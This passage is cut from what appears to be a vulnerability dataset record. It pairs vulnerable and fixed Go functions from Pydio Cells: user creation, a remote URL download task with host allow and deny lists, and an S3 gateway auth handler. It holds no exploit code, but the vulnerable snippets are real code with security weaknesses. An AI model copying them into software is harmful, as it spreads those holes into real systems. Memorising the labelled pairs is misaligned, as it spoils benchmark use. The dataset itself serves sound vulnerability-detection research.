\"true\"\n\t\t\tcontinue\n\t\t}\n\t\tif strings.HasPrefix(k, \"parameter:\") {\n\t\t\tif !allowedAclKey(ctx, k, true) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvar acl = &idm.ACL{\n\t\t\t\tAction:      &idm.ACLAction{Name: k, Value: v},\n\t\t\t\tWorkspaceID: permissions.FrontWsScopeAll,\n\t\t\t}\n\t\t\tvar sameValue bool\n\t\t\tfor _, existing := range existingAcls {\n\t\t\t\tif existing.Action != nil && existing.Action.Name == k {\n\t\t\t\t\tif existing.Action.Value == v {\n\t\t\t\t\t\tsameValue = true\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdeleteAclActions = append(deleteAclActions, existing.Action.Name)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !sameValue {\n\t\t\t\tacls = append(acls, acl)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tcleanAttributes[k] = v\n\t}\n\tinputUser.Attributes = cleanAttributes\n\n\tresponse, er := cli.CreateUser(ctx, &idm.CreateUserRequest{\n\t\tUser: &inputUser,\n\t})\n\tif er != nil {\n\t\tservice.RestError500(req, rsp, er)\n\t\treturn\n\t}\n\n\tif update == nil {\n\t\tvar newRole *idm.Role\n\t\tif inputUser.IsGroup {\n\t\t\tnewRole = &idm.Role{\n\t\t\t\tUuid:      response.User.Uuid,\n\t\t\t\tGroupRole: true,\n\t\t\t\tLabel:     \"Group \" + response.User.GroupLabel,\n\t\t\t}\n\t\t} else {\n\t\t\tnewRole = &idm.Role{\n\t\t\t\tUuid:     response.User.Uuid,\n\t\t\t\tUserRole: true,\n\t\t\t\tLabel:    \"User \" + response.User.Login,\n\t\t\t\tPolicies: []*service2.ResourcePolicy{\n\t\t\t\t\t{Subject: \"profile:standard\", Action: service2.ResourcePolicyAction_READ, Effect: service2.ResourcePolicy_allow},\n\t\t\t\t\t{Subject: \"user:\" + response.User.Login, Action: service2.ResourcePolicyAction_WRITE, Effect: service2.ResourcePolicy_allow},\n\t\t\t\t\t{Subject: \"profile:admin\", Action: service2.ResourcePolicyAction_WRITE, Effect: service2.ResourcePolicy_allow},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t\troleCli := idm.NewRoleServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceRole))\n\t\t_, er := roleCli.CreateRole(ctx, &idm.CreateRoleRequest{Role: newRole})\n\t\tif er != nil {\n\t\t\tservice.RestError500(req, rsp, er)\n\t\t\treturn\n\t\t}\n\t}\n\tout := response.User\n\tpath := \"/\"\n\tif len(out.GroupPath) > 1 {\n\t\tpath = out.GroupPath + \"/\"\n\t}\n\tif update != nil {\n\t\tif out.IsGroup {\n\t\t\tlog.Auditer(ctx).Info(\n\t\t\t\tfmt.Sprintf(\"Updated group [%s]\", out.GroupPath),\n\t\t\t\tlog.GetAuditId(common.AuditGroupUpdate),\n\t\t\t\tout.ZapUuid(),\n\t\t\t)\n\t\t} else {\n\t\t\tlog.Auditer(ctx).Info(\n\t\t\t\tfmt.Sprintf(\"Updated user [%s%s]\", path, out.Login),\n\t\t\t\tlog.GetAuditId(common.AuditUserUpdate),\n\t\t\t\tout.ZapUuid(),\n\t\t\t)\n\t\t}\n\t} else {\n\t\tif out.IsGroup {\n\t\t\tlog.Auditer(ctx).Info(\n\t\t\t\tfmt.Sprintf(\"Created group [%s]\", out.GroupPath),\n\t\t\t\tlog.GetAuditId(common.AuditGroupCreate),\n\t\t\t\tout.ZapUuid(),\n\t\t\t)\n\t\t} else {\n\t\t\tlog.Auditer(ctx).Info(\n\t\t\t\tfmt.Sprintf(\"Created user [%s%s]\", path, out.Login),\n\t\t\t\tlog.GetAuditId(common.AuditUserCreate),\n\t\t\t\tout.ZapUuid(),\n\t\t\t)\n\t\t}\n\t}\n\n\tu := response.User\n\n\tif len(acls) > 0 {\n\t\taclClient := idm.NewACLServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceAcl))\n\t\tif len(deleteAclActions) > 0 {\n\t\t\tdelQuery := &service2.Query{Operation: service2.OperationType_OR}\n\t\t\tfor _, action := range deleteAclActions {\n\t\t\t\tq, _ := anypb.New(&idm.ACLSingleQuery{\n\t\t\t\t\tRoleIDs:      []string{u.Uuid},\n\t\t\t\t\tActions:      []*idm.ACLAction{{Name: action}},\n\t\t\t\t\tWorkspaceIDs: []string{permissions.FrontWsScopeAll},\n\t\t\t\t})\n\t\t\t\tdelQuery.SubQueries = append(delQuery.SubQueries, q)\n\t\t\t}\n\t\t\tif _, e := aclClient.DeleteACL(ctx, &idm.DeleteACLRequest{Query: delQuery}); e != nil {\n\t\t\t\tlog.Logger(ctx).Error(\"Could not delete existing ACLs\", zap.Error(e))\n\t\t\t}\n\t\t}\n\t\tfor _, acl := range acls {\n\t\t\tacl.RoleID = u.Uuid\n\t\t\tif _, e := aclClient.CreateACL(ctx, &idm.CreateACLRequest{ACL: acl}); e != nil {\n\t\t\t\tlog.Logger(ctx).Error(\"Could not store ACL\", acl.Zap(), zap.Error(e))\n\t\t\t}\n\t\t}\n\t}\n\n\tif !u.IsGroup {\n\t\tpermissions.ForceClearUserCache(u.Login)\n\t}\n\n\t// Reload user fully\n\tq, _ := anypb.New(&idm.UserSingleQuery{Uuid: u.Uuid})\n\tstreamer, err := cli.SearchUser(ctx, &idm.SearchUserRequest{\n\t\tQuery: &service2.Query{SubQueries: []*anypb.Any{q}},\n\t})\n\tif err != nil {\n\t\t// Handle error\n\t\tservice.RestError500(req, rsp, err)\n\t\treturn\n\t}\n\tdefer streamer.CloseSend()\n\tfor {\n\t\tresp, e := streamer.Recv()\n\t\tif e != nil {\n\t\t\tbreak\n\t\t}\n\t\tif resp == nil {\n\t\t\tcontinue\n\t\t}\n\t\tu = resp.User\n\t\tif !resp.User.IsGroup {\n\t\t\tu.Roles = permissions.GetRolesForUser(ctx, u, false)\n\t\t\tu = u.WithPublicData(ctx, s.IsContextEditable(ctx, u.Uuid, u.Policies))\n\t\t\tparamsAclsToAttributes(ctx, []*idm.User{u})\n\t\t} else if len(u.Roles) == 0 {\n\t\t\tu.Roles = append(u.Roles, &idm.Role{Uuid: u.Uuid, GroupRole: true})\n\t\t\tu.Roles = permissions.GetRolesForUser(ctx, u, true)\n\t\t}\n\t\tbreak\n\t}\n\trsp.WriteEntity(u)\n\n\t_, hasEmailAddress := u.Attributes[\"email\"]\n\tif sendEmail && hasEmailAddress {\n\t\t// Now send email to user in background\n\t\tlang := \"\"\n\t\tif l, o := u.Attributes[\"parameter:core.conf:lang\"]; o {\n\t\t\tlang = strings.Trim(l, `\"`)\n\t\t}\n\t\tmailCli := mailer.NewMailerServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceMailer))\n\t\temail := &mailer.Mail{\n\t\t\tTo: []*mailer.User{{\n\t\t\t\tUuid:     u.Uuid,\n\t\t\t\tName:     u.Attributes[\"displayName\"],\n\t\t\t\tAddress:  u.Attributes[\"email\"],\n\t\t\t\tLanguage: lang,\n\t\t\t}},\n\t\t\tTemplateId: \"Welcome\",\n\t\t\tTemplateData: map[string]string{\n\t\t\t\t\"Login\":    inputUser.Login,\n\t\t\t\t\"Password\": inputUser.Password,\n\t\t\t},\n\t\t}\n\t\tc := context.Background()\n\t\tif u := ctx.Value(common.PydioContextUserKey); u != nil {\n\t\t\tc = context.WithValue(c, common.PydioContextUserKey, u)\n\t\t}\n\t\tgo func() {\n\t\t\t_, er := mailCli.SendMail(c, &mailer.SendMailRequest{\n\t\t\t\tInQueue: false,\n\t\t\t\tMail:    email,\n\t\t\t})\n\t\t\tif er != nil {\n\t\t\t\tlog.Logger(ctx).Error(\"Could not send email to new user\", zap.Error(er))\n\t\t\t}\n\t\t}()\n\t}\n}"}, {"id": "vul_go_134_3", "commit": "6326c5f", "file_path": "scheduler/jobs/rest/userspace.go", "start_line": 434, "end_line": 523, "snippet": "func wgetTasks(ctx context.Context, parentPath string, urls []string, languages ...string) ([]string, error) {\n\n\tT := lang.Bundle().GetTranslationFunc(languages...)\n\ttaskLabel := T(\"Jobs.User.Wget\")\n\trouter := getRouter()\n\n\tclaims := ctx.Value(claim.ContextKey).(claim.Claims)\n\tuserName := claims.Name\n\tvar jobUuids []string\n\n\tvar parentNode, fullPathParentNode *tree.Node\n\tif resp, e := router.ReadNode(ctx, &tree.ReadNodeRequest{Node: &tree.Node{Path: parentPath}}); e != nil {\n\t\treturn []string{}, e\n\t} else {\n\t\tparentNode = resp.Node\n\t}\n\n\t// Compute node real path, and check that its writeable as well\n\tif innerOp, e := router.CanApply(ctx, &tree.NodeChangeEvent{Type: tree.NodeChangeEvent_CREATE, Target: parentNode}); e == nil {\n\t\tfullPathParentNode = innerOp.GetTarget()\n\t} else {\n\t\treturn []string{}, errors.Forbidden(common.ServiceJobs, \"Parent Node is not writeable\")\n\t}\n\n\tvar whiteList, blackList []string\n\twl := config.Get(\"frontend\", \"plugin\", \"uploader.http\", \"REMOTE_UPLOAD_WHITELIST\").String()\n\tbl := config.Get(\"frontend\", \"plugin\", \"uploader.http\", \"REMOTE_UPLOAD_BLACKLIST\").String()\n\tif wl != \"\" {\n\t\twhiteList = strings.Split(wl, \",\")\n\t}\n\tif bl != \"\" {\n\t\tblackList = strings.Split(bl, \",\")\n\t}\n\tcli := jobs.NewJobServiceClient(grpc.GetClientConnFromCtx(ctx, common.ServiceJobs))\n\tfor _, u := range urls {\n\t\tparsed, e := url.Parse(u)\n\t\tif e != nil {\n\t\t\treturn nil, e\n\t\t}\n\t\tif (len(whiteList) > 0 && !hostListCheck(whiteList, parsed)) || (len(blackList) > 0 && hostListCheck(blackList, parsed)) {\n\t\t\treturn nil, fmt.Errorf(\"hostname %s is not allowed\", parsed.Hostname())\n\t\t}\n\t\tjobUuid := \"wget-\" + uuid.New()\n\t\tjobUuids = append(jobUuids, jobUuid)\n\n\t\tvar params = map[string]string{\n\t\t\t\"url\": u,\n\t\t}\n\t\tcleanUrl := strings.Split(u, \"?\")[0]\n\t\tcleanUrl = strings.Split(cleanUrl, \"#\")[0]\n\t\tbasename := path.Base(cleanUrl)\n\t\tif basename == \"\" {\n\t\t\tbasename = jobUuid\n\t\t}\n\t\t// Recheck target node for policies\n\t\tif _, err := router.CanApply(ctx, &tree.NodeChangeEvent{Type: tree.NodeChangeEvent_CREATE, Target: &tree.Node{Path: path.Join(parentPath, basename)}}); err != nil {\n\t\t\treturn jobUuids, err\n\t\t}\n\t\tif e := disallowTemplate(params); e != nil {\n\t\t\treturn nil, e\n\t\t}\n\t\tjob := &jobs.Job{\n\t\t\tID:             jobUuid,\n\t\t\tOwner:          userName,\n\t\t\tLabel:          taskLabel,\n\t\t\tInactive:       false,\n\t\t\tLanguages:      languages,\n\t\t\tMaxConcurrency: 5,\n\t\t\tAutoStart:      true,\n\t\t\tActions: []*jobs.Action{\n\t\t\t\t{\n\t\t\t\t\tID:         \"actions.cmd.wget\",\n\t\t\t\t\tParameters: params,\n\t\t\t\t\tNodesSelector: &jobs.NodesSelector{\n\t\t\t\t\t\t// Here we specifically use Pathes instead of a query as it defines\n\t\t\t\t\t\t// a target node that does NOT exists\n\t\t\t\t\t\tPathes: []string{path.Join(fullPathParentNode.Path, basename)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\t_, er := cli.PutJob(ctx, &jobs.PutJobRequest{Job: job})\n\t\tif er != nil {\n\t\t\treturn jobUuids, er\n\t\t}\n\t}\n\treturn jobUuids, nil\n\n}"}], "fix_func": [{"id": "fix_go_134_1", "commit": "259fbfd", "file_path": "gateway/data/hooks/auth-handler.go", "start_line": 50, "end_line": 186, "snippet": "func (a pydioAuthHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\n\t//var md map[string]string\n\tvar userName string\n\tctx := r.Context()\n\tctx = servicecontext.HttpRequestInfoToMetadata(ctx, r)\n\tctx = servicecontext.WithServiceName(ctx, common.ServiceGatewayData)\n\n\tresignRequestV4 := false\n\tresignRequestV4Presigned := false\n\n\tjwt := r.URL.Query().Get(\"pydio_jwt\")\n\n\tif len(jwt) > 0 {\n\t\t//logger.Info(\"Found JWT in URL: replace by header and remove from URL\")\n\t\tr.Header.Set(\"X-Pydio-Bearer\", jwt)\n\t\tr.URL.RawQuery = strings.Replace(r.URL.RawQuery, \"&pydio_jwt=\"+jwt, \"\", 1)\n\t\t_ = r.ParseForm()\n\t\tif signedKey, err := cmd.ExposedParsePresignV4(r.Form); err == nil && signedKey != a.globalAccessKey {\n\t\t\tresignRequestV4Presigned = true\n\t\t}\n\n\t} else if bearer, ok := r.Header[\"X-Pydio-Bearer\"]; !ok || len(bearer) == 0 {\n\t\t// Copy request.\n\t\treq := *r\n\t\t// Save authorization header.\n\t\tv4Auth := req.Header.Get(\"Authorization\")\n\t\t// Parse signature version '4' header.\n\t\tif signedKey, err := cmd.ExposedParseSignV4(v4Auth); err == nil && signedKey != a.globalAccessKey {\n\t\t\tlog.Logger(ctx).Debug(\"Use AWS Api Key as JWT: \" + signedKey)\n\t\t\tresignRequestV4 = true\n\t\t\tr.Header.Set(\"X-Pydio-Bearer\", signedKey)\n\t\t}\n\t}\n\n\trq := r.URL.Query()\n\tif r.Method == http.MethodGet && rq.Get(\"response-content-disposition\") == \"inline\" {\n\t\trType := rq.Get(\"response-content-type\")\n\t\tif _, ok := allowedInlines[rType]; !ok {\n\t\t\tlog.Logger(ctx).Info(\"Forcing content disposition to attachment for content type \" + rType + \" that is not in white-list\")\n\t\t\trq.Set(\"response-content-disposition\", \"attachment\")\n\t\t\tr.URL.RawQuery = rq.Encode()\n\t\t\t_ = r.ParseForm()\n\t\t}\n\t}\n\n\tif bearer, ok := r.Header[\"X-Pydio-Bearer\"]; ok && len(bearer) > 0 {\n\n\t\trawIDToken := strings.Join(bearer, \"\")\n\t\tvar err error\n\t\tvar claims claim.Claims\n\t\tctx, claims, err = a.jwtVerifier.Verify(ctx, rawIDToken)\n\t\tif err != nil {\n\t\t\tcmd.ExposedWriteErrorResponse(ctx, w, cmd.ErrAccessDenied, r.URL)\n\t\t\treturn\n\t\t}\n\t\tuserName = claims.Name\n\t\tif resignRequestV4 {\n\t\t\t// User is OK, override signature with service account ID/Secret\n\t\t\tr = signer.SignV4(*r, common.S3GatewayRootUser, common.S3GatewayRootPassword, \"\", common.S3GatewayDefaultRegion)\n\t\t} else if resignRequestV4Presigned {\n\t\t\torigUrl := r.URL\n\t\t\torigHeader := r.Header\n\t\t\tnewUrl := &url.URL{\n\t\t\t\tScheme: origUrl.Scheme,\n\t\t\t\tHost:   origUrl.Host,\n\t\t\t\tPath:   origUrl.Path,\n\t\t\t}\n\t\t\tnewV := newUrl.Query()\n\t\t\texpire := int64(900)\n\t\t\tfor k, vv := range origUrl.Query() {\n\t\t\t\tif k == \"X-Amz-Expires\" {\n\t\t\t\t\tif ex, e := strconv.ParseInt(strings.Join(vv, \"\"), 10, 64); e == nil {\n\t\t\t\t\t\texpire = ex\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif strings.HasPrefix(k, \"X-Amz-\") || k == \"pydio_jwt\" {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tfor _, v := range vv {\n\t\t\t\t\tnewV.Set(k, v)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(newV) > 0 {\n\t\t\t\tnewUrl.RawQuery = newV.Encode()\n\t\t\t}\n\n\t\t\tnewReq := *r\n\t\t\tnewReq.URL = newUrl\n\t\t\tnewReq.RequestURI = newUrl.RequestURI()\n\t\t\t_ = newReq.ParseForm()\n\t\t\tr = signer.PreSignV4(newReq, common.S3GatewayRootUser, common.S3GatewayRootPassword, \"\", common.S3GatewayDefaultRegion, expire)\n\t\t\t// Re-append headers\n\t\t\tif len(origHeader) > 0 {\n\t\t\t\tr.Header = http.Header{}\n\t\t\t\tfor k, vv := range origHeader {\n\t\t\t\t\tfor _, v := range vv {\n\t\t\t\t\t\tr.Header.Set(k, v)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t} else if agent, aOk := r.Header[\"User-Agent\"]; aOk && strings.Contains(strings.Join(agent, \"\"), \"pydio.sync.client.s3\") {\n\n\t\tuserName = common.PydioSystemUsername\n\n\t} else {\n\n\t\tif user, er := permissions.SearchUniqueUser(ctx, common.PydioS3AnonUsername, \"\"); er == nil {\n\t\t\tuserName = common.PydioS3AnonUsername\n\t\t\tvar s []string\n\t\t\tfor _, role := range user.Roles {\n\t\t\t\tif role.UserRole { // Just append the User Role\n\t\t\t\t\ts = append(s, role.Uuid)\n\t\t\t\t}\n\t\t\t}\n\t\t\tanonClaim := claim.Claims{\n\t\t\t\tName:      common.PydioS3AnonUsername,\n\t\t\t\tRoles:     strings.Join(s, \",\"),\n\t\t\t\tProfile:   \"anon\",\n\t\t\t\tGroupPath: \"/\",\n\t\t\t}\n\t\t\tctx = context.WithValue(ctx, claim.ContextKey, anonClaim)\n\n\t\t} else {\n\t\t\tcmd.ExposedWriteErrorResponse(ctx, w, cmd.ErrAccessDenied, r.URL)\n\t\t\treturn\n\t\t}\n\n\t}\n\n\tctx = metadata.WithUserNameMetadata(ctx, userName)\n\tnewRequest := r.WithContext(ctx)\n\ta.handler.ServeHTTP(w, newRequest)\n\n}"}, {"id": "fix_go_134_2", "commit": "259fbfd", "file_path": "idm/user/rest/rest.go", "start_line": 336, "end_line": 685, "snippet": "func (s *UserHandler) PutUser(req *restful.Request, rsp *restful.Response) {\n\n\tctx := req.Request.Context()\n\tvar inputUser idm.User\n\terr := req.ReadEntity(&inputUser)\n\tif err != nil {\n\t\tlog.Logger(ctx).Error(\"cannot fetch idm.User from request\", zap.Error(err))\n\t\tservice.RestError500(req, rsp, err)\n\t\treturn\n\t}\n\tif inputUser.Login == \"\" {\n\t\tinputUser.Login = req.PathParameter(\"Login\")\n\t}\n\tif inputUser.Login == \"\" {\n\t\tservice.RestError500(req, rsp, fmt.Errorf(\"cannot create user without at least a login\"))\n\t\treturn\n\t}\n\tcli := idm.NewUserServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceUser))\n\tlog.Logger(req.Request.Context()).Debug(\"Received User.Put API request\", inputUser.ZapLogin())\n\tvar update *idm.User\n\tif inputUser.Uuid != \"\" {\n\t\tif existing, exists := s.userById(ctx, inputUser.Uuid, cli); exists {\n\t\t\tupdate = existing\n\t\t}\n\t} else {\n\t\tif _, err := permissions.SearchUniqueUser(ctx, inputUser.Login, \"\"); err == nil {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"User with the same login already exists!\"))\n\t\t\treturn\n\t\t}\n\t}\n\tvar existingAcls []*idm.ACL\n\tctxLogin, ctxClaims := permissions.FindUserNameInContext(ctx)\n\tif update != nil {\n\t\t// Check User Policies\n\t\tif !s.MatchPolicies(ctx, update.Uuid, update.Policies, service2.ResourcePolicyAction_WRITE) {\n\t\t\tlog.Auditer(ctx).Error(\n\t\t\t\tfmt.Sprintf(\"Forbidden action: could not edit user [%s]\", update.GetLogin()),\n\t\t\t\tlog.GetAuditId(common.AuditUserUpdate),\n\t\t\t\tupdate.ZapUuid(),\n\t\t\t)\n\t\t\tservice.RestError403(req, rsp, errors.Forbidden(common.ServiceUser, \"You are not allowed to edit this user!\"))\n\t\t\treturn\n\t\t}\n\t\t// Check ADD/REMOVE Roles Policies\n\t\troleCli := idm.NewRoleServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceRole))\n\t\trolesToCheck := s.diffRoles(inputUser.Roles, update.Roles)\n\t\tremoves := s.diffRoles(update.Roles, inputUser.Roles)\n\t\tlog.Logger(ctx).Debug(\"ADD/REMOVE ROLES\", log.DangerouslyZapSmallSlice(\"add\", rolesToCheck), log.DangerouslyZapSmallSlice(\"remove\", removes), log.DangerouslyZapSmallSlice(\"new\", inputUser.Roles), log.DangerouslyZapSmallSlice(\"existings\", update.Roles))\n\t\trolesToCheck = append(rolesToCheck, removes...)\n\t\tif err := s.checkCanAssignRoles(ctx, rolesToCheck, roleCli); err != nil {\n\t\t\tlog.Auditer(ctx).Error(\n\t\t\t\tfmt.Sprintf(\"Forbidden action: could not assign roles on [%s]\", update.GetLogin()),\n\t\t\t\tlog.GetAuditId(common.AuditUserUpdate),\n\t\t\t\tupdate.ZapUuid(),\n\t\t\t)\n\t\t\tservice.RestError403(req, rsp, err)\n\t\t\treturn\n\t\t}\n\t\t// Check user own password change\n\t\tif inputUser.Password != \"\" && ctxLogin == inputUser.Login {\n\t\t\tif _, err := cli.BindUser(ctx, &idm.BindUserRequest{UserName: inputUser.Login, Password: inputUser.OldPassword}); err != nil {\n\t\t\t\tservice.RestError401(req, rsp, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\t// Load current ACLs for personal role\n\t\tfor _, r := range update.Roles {\n\t\t\tif r.UserRole {\n\t\t\t\tvar er error\n\t\t\t\texistingAcls, er = permissions.GetACLsForRoles(ctx, []*idm.Role{r}, &idm.ACLAction{Name: \"parameter:*\"})\n\t\t\t\tif er != nil {\n\t\t\t\t\tservice.RestError500(req, rsp, er)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Put back the pydio: attributes\n\t\tif update.Attributes != nil {\n\t\t\tfor k, v := range update.Attributes {\n\t\t\t\tif strings.HasPrefix(k, idm.UserAttrPrivatePrefix) {\n\t\t\t\t\tif inputUser.Attributes == nil {\n\t\t\t\t\t\tinputUser.Attributes = map[string]string{}\n\t\t\t\t\t}\n\t\t\t\t\tinputUser.Attributes[k] = v\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif update == nil && ctxClaims.Profile != common.PydioProfileAdmin {\n\t\t// Clear roles\n\t\tinputUser.Roles = nil\n\t\t// For creation by non-admin, check USER_CREATE_USERS plugins permission.\n\t\tif !inputUser.IsHidden() {\n\t\t\tglobal := config.Get(\"frontend\", \"plugin\", \"core.auth\", \"USER_CREATE_USERS\").Default(true).Bool()\n\t\t\tacl, e := permissions.AccessListFromContextClaims(ctx)\n\t\t\tif e != nil {\n\t\t\t\tservice.RestError500(req, rsp, e)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif er := permissions.AccessListLoadFrontValues(ctx, acl); er != nil {\n\t\t\t\tservice.RestError500(req, rsp, e)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tlocal := acl.FlattenedFrontValues().Val(\"parameters\", \"core.auth\", \"USER_CREATE_USERS\", permissions.FrontWsScopeAll).Default(global).Bool()\n\t\t\tif !local {\n\t\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to create users\"))\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\t// Recheck that crtUser is not hidden\n\tif update == nil && ctxClaims.Profile == common.PydioProfileShared {\n\t\tcrtUser, e := permissions.SearchUniqueUser(ctx, ctxLogin, \"\")\n\t\tif e != nil {\n\t\t\tservice.RestError401(req, rsp, fmt.Errorf(\"invalid context user\"))\n\t\t\treturn\n\t\t}\n\t\tif crtUser.IsHidden() {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to create users\"))\n\t\t\treturn\n\t\t}\n\t}\n\n\tif inputUser.IsGroup {\n\t\tif ctxClaims.Profile != common.PydioProfileAdmin {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to create groups\"))\n\t\t\treturn\n\t\t}\n\t\tinputUser.GroupPath = strings.TrimSuffix(inputUser.GroupPath, \"/\") + \"/\" + inputUser.GroupLabel\n\t} else {\n\t\t// Add a default profile\n\t\tif value, ok := inputUser.Attributes[idm.UserAttrProfile]; !ok || value == \"\" {\n\t\t\tinputUser.Attributes[idm.UserAttrProfile] = common.PydioProfileShared\n\t\t}\n\t\t// Check profile is not higher than current user profile\n\t\tif profilesLevel[inputUser.Attributes[idm.UserAttrProfile]] > profilesLevel[ctxClaims.Profile] {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to set a profile (%s) higher than your current profile (%s)\", inputUser.Attributes[idm.UserAttrProfile], ctxClaims.Profile))\n\t\t\treturn\n\t\t}\n\t\tif _, ok := inputUser.Attributes[idm.UserAttrPassHashed]; ok {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to use this attribute\"))\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar acls []*idm.ACL\n\tvar deleteAclActions []string\n\tvar sendEmail bool\n\tcleanAttributes := map[string]string{}\n\tfor k, v := range inputUser.Attributes {\n\t\tif k == \"send_email\" {\n\t\t\tsendEmail = v == \"true\"\n\t\t\tcontinue\n\t\t}\n\t\tif strings.HasPrefix(k, \"parameter:\") {\n\t\t\tif !allowedAclKey(ctx, k, true) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvar acl = &idm.ACL{\n\t\t\t\tAction:      &idm.ACLAction{Name: k, Value: v},\n\t\t\t\tWorkspaceID: permissions.FrontWsScopeAll,\n\t\t\t}\n\t\t\tvar sameValue bool\n\t\t\tfor _, existing := range existingAcls {\n\t\t\t\tif existing.Action != nil && existing.Action.Name == k {\n\t\t\t\t\tif existing.Action.Value == v {\n\t\t\t\t\t\tsameValue = true\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdeleteAclActions = append(deleteAclActions, existing.Action.Name)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !sameValue {\n\t\t\t\tacls = append(acls, acl)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tcleanAttributes[k] = v\n\t}\n\tinputUser.Attributes = cleanAttributes\n\n\tresponse, er := cli.CreateUser(ctx, &idm.CreateUserRequest{\n\t\tUser: &inputUser,\n\t})\n\tif er != nil {\n\t\tservice.RestError500(req, rsp, er)\n\t\treturn\n\t}\n\n\tif update == nil {\n\t\tvar newRole *idm.Role\n\t\tif inputUser.IsGroup {\n\t\t\tnewRole = &idm.Role{\n\t\t\t\tUuid:      response.User.Uuid,\n\t\t\t\tGroupRole: true,\n\t\t\t\tLabel:     \"Group \" + response.User.GroupLabel,\n\t\t\t}\n\t\t} else {\n\t\t\tnewRole = &idm.Role{\n\t\t\t\tUuid:     response.User.Uuid,\n\t\t\t\tUserRole: true,\n\t\t\t\tLabel:    \"User \" + response.User.Login,\n\t\t\t\tPolicies: []*service2.ResourcePolicy{\n\t\t\t\t\t{Subject: \"profile:standard\", Action: service2.ResourcePolicyAction_READ, Effect: service2.ResourcePolicy_allow},\n\t\t\t\t\t{Subject: \"user:\" + response.User.Login, Action: service2.ResourcePolicyAction_WRITE, Effect: service2.ResourcePolicy_allow},\n\t\t\t\t\t{Subject: \"profile:admin\", Action: service2.ResourcePolicyAction_WRITE, Effect: service2.ResourcePolicy_allow},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t\troleCli := idm.NewRoleServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceRole))\n\t\t_, er := roleCli.CreateRole(ctx, &idm.CreateRoleRequest{Role: newRole})\n\t\tif er != nil {\n\t\t\tservice.RestError500(req, rsp, er)\n\t\t\treturn\n\t\t}\n\t}\n\tout := response.User\n\tpath := \"/\"\n\tif len(out.GroupPath) > 1 {\n\t\tpath = out.GroupPath + \"/\"\n\t}\n\tif update != nil {\n\t\tif out.IsGroup {\n\t\t\tlog.Auditer(ctx).Info(\n\t\t\t\tfmt.Sprintf(\"Updated group [%s]\", out.GroupPath),\n\t\t\t\tlog.GetAuditId(common.AuditGroupUpdate),\n\t\t\t\tout.ZapUuid(),\n\t\t\t)\n\t\t} else {\n\t\t\tlog.Auditer(ctx).Info(\n\t\t\t\tfmt.Sprintf(\"Updated user [%s%s]\", path, out.Login),\n\t\t\t\tlog.GetAuditId(common.AuditUserUpdate),\n\t\t\t\tout.ZapUuid(),\n\t\t\t)\n\t\t}\n\t} else {\n\t\tif out.IsGroup {\n\t\t\tlog.Auditer(ctx).Info(\n\t\t\t\tfmt.Sprintf(\"Created group [%s]\", out.GroupPath),\n\t\t\t\tlog.GetAuditId(common.AuditGroupCreate),\n\t\t\t\tout.ZapUuid(),\n\t\t\t)\n\t\t} else {\n\t\t\tlog.Auditer(ctx).Info(\n\t\t\t\tfmt.Sprintf(\"Created user [%s%s]\", path, out.Login),\n\t\t\t\tlog.GetAuditId(common.AuditUserCreate),\n\t\t\t\tout.ZapUuid(),\n\t\t\t)\n\t\t}\n\t}\n\n\tu := response.User\n\n\tif len(acls) > 0 {\n\t\taclClient := idm.NewACLServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceAcl))\n\t\tif len(deleteAclActions) > 0 {\n\t\t\tdelQuery := &service2.Query{Operation: service2.OperationType_OR}\n\t\t\tfor _, action := range deleteAclActions {\n\t\t\t\tq, _ := anypb.New(&idm.ACLSingleQuery{\n\t\t\t\t\tRoleIDs:      []string{u.Uuid},\n\t\t\t\t\tActions:      []*idm.ACLAction{{Name: action}},\n\t\t\t\t\tWorkspaceIDs: []string{permissions.FrontWsScopeAll},\n\t\t\t\t})\n\t\t\t\tdelQuery.SubQueries = append(delQuery.SubQueries, q)\n\t\t\t}\n\t\t\tif _, e := aclClient.DeleteACL(ctx, &idm.DeleteACLRequest{Query: delQuery}); e != nil {\n\t\t\t\tlog.Logger(ctx).Error(\"Could not delete existing ACLs\", zap.Error(e))\n\t\t\t}\n\t\t}\n\t\tfor _, acl := range acls {\n\t\t\tacl.RoleID = u.Uuid\n\t\t\tif _, e := aclClient.CreateACL(ctx, &idm.CreateACLRequest{ACL: acl}); e != nil {\n\t\t\t\tlog.Logger(ctx).Error(\"Could not store ACL\", acl.Zap(), zap.Error(e))\n\t\t\t}\n\t\t}\n\t}\n\n\tif 